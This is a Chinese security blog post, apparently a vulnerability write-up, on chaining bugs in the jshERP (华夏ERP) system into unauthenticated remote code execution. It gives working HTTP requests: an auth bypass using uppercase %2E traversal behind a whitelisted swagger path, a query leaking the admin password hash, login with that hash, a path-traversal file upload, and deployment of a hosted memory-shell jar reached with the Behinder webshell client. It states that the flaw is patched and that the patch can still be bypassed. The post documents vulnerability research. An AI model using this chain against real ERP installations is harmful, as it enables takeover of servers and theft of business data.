华夏erp最新版本未授权rce(已修复)

环境搭建

项目链接:https://github.com/jishenghua/jshERP

由于是springboot的项目,跑起来还是蛮简单的,首先需要配数据库:

创一个叫jsh_erp的数据库,然后用给的sql文件初始化:

接着还需要配一下redis,我由于用的是phpstudy,跑起来还是蛮简单的,直接把密码改成123456了:

然后用jdk8的环境运行这个ErpApplication,后端环境就起好了:

接着去启动一下前端环境,记得用管理员权限启动,我的npm version是6.14.17,然后先npm install,最后npm run serve即可:

访问localhost:3000:

鉴权绕过

某天晚上躺在床上,学长突然给我发了一个commit链接让我绕过,打开链接,看到黑名单的第一瞬间我就想到怎么绕过了:

上面那个过滤看起来很吓人,但实际上url解码是不关心大小写的,过滤了%2e没过滤%2E等于没过滤。

再往下看,可以看到这里有一个白名单机制,如果访问的路径以白名单allowUrls的内容开始,下面就直接用chain.doFilter放行了:

然后再去看看白名单,主要就是这个value里的内容,以#为分隔符进行分割,这里我们可以随便选一个,比如/jshERP-boot/webjars/swagger-ui/css/

然后随便找一个敏感接口来验证危害,比如接口/jshERP-boot/account/findBySelect在正常情况下访问会被拒绝:

我们只需要构造一个白名单开头的路径,就可以成功访问到这个敏感接口:

GET /jshERP-boot/webjars/swagger-ui/css/%2E%2E/%2E%2E/%2E%2E/account/findBySelect HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost:3000/report/material_stock

深入利用

当时由于看到后台没什么功能点,以为RCE不了,所以就没看了,第二天的时候突然发现网上其实有一篇讲华夏erp前台rce的文章:华夏ERP全版本未授权RCE及内存马注入 – 长亭百川云,原来如果以admin登录后台,管理员是可以部署jar包,那当然是可以轻松rce的,然后下午和N1ght师傅一起看了看怎么前台rce,不过这文章也发了很久了,里面利用的几个点也被开发者修复了,首先就是鉴权绕过被修了,不过我们通过%2E重新进行了利用。

然后就是现在已经没办法任意重置密码了,直接重置admin的办法行不通了。

最后就是那个获取所有用户信息的接口/user/getAllList也没了:

那么在当前的补丁下,还有办法实现未授权rce吗🤔

事实上除了接口/user/getAllList以外,还有一个接口能实现类似的功能,那就是/user/info,它可以获取指定id的用户的信息:

实际利用的话,可以从1开始爆破,不过我怀疑他这个admin的id是写死为120的,只要访问/user/info?id=120就可以获取管理员的信息:

GET /jshERP-boot/webjars/swagger-ui/css/%2E%2E/%2E%2E/%2E%2E/user/info?id=120 HTTP/1.1
Host: 192.168.110.69:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.110.69:3000/system/tenant
Priority: u=0

虽然我们获取的结果里只有管理员密码的哈希,不能直接得到密码:

HTTP/1.1 200 OK
X-Powered-By: Express
content-type: application/json;charset=UTF-8
content-length: 231
date: Wed, 13 Aug 2025 10:02:00 GMT
connection: close

{"code":200,"data":{"message":"成功","info":{"deleteFlag":"0","id":120,"ismanager":1,"isystem":0,"leaderFlag":"0","loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e","status":0,"tenantId":0,"username":"管理员"}}}

只不过仔细分析他的登录逻辑,你会发现他登录的时候password那里传的就是密码的哈希值,数据库里存的也是这个:

所以其实我们只有密码的哈希也能直接登录进管理员的后台:

喜提RCE

到了后台之后就可以开始部署jar包了

首先需要通过路径穿越创建一个plugins目录,因为后面部署jar包的时候必须用到,而这个目录并不是默认创建的:

POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1
Host: 192.168.110.69:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473
X-Access-Token: 0b3439a6cb1a49dcb37ef91b8f418134_0
Content-Length: 257




-----------------------------64343665641219398361207370473
Content-Disposition: form-data; name="configFile"; filename="../plugins/fushuling.txt"
Content-Type: text/plain


fushuling

-----------------------------64343665641219398361207370473--

然后我们可以利用https://gitee.com/xiongyi01/springboot-plugin-framework-parent这个项目写一个恶意的插件,这里我就直接抄的那个文章里的内存马了,我已经打包好了:https://fushuling-1309926051.cos.ap-shanghai.myqcloud.com/webshell.jar,然后在上面的插件上传那里上传这个jar包:

虽然上面的响应里显示的是”导入失败”并且控制台会报错,实际上这个jar包已经成功部署了,报错是因为两次加载同一个类会报错,但是内存马已经加载进去了:

用最新的冰蝎进行连接:

http://localhost:3000/jshERP-boot/111
rebeyond
Referer: https://www.google.com/
x-client-data: rebeyond

最后喜提RCE:

后记

漏洞现在已经修复了,修复的办法是把%2E和查信息的接口都ban了:

事实上现在的补丁仍然能被绕过,下一篇文章里我们将聊聊如何在%2E和查用户信息的接口被ban的情况下继续实现未授权rce

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇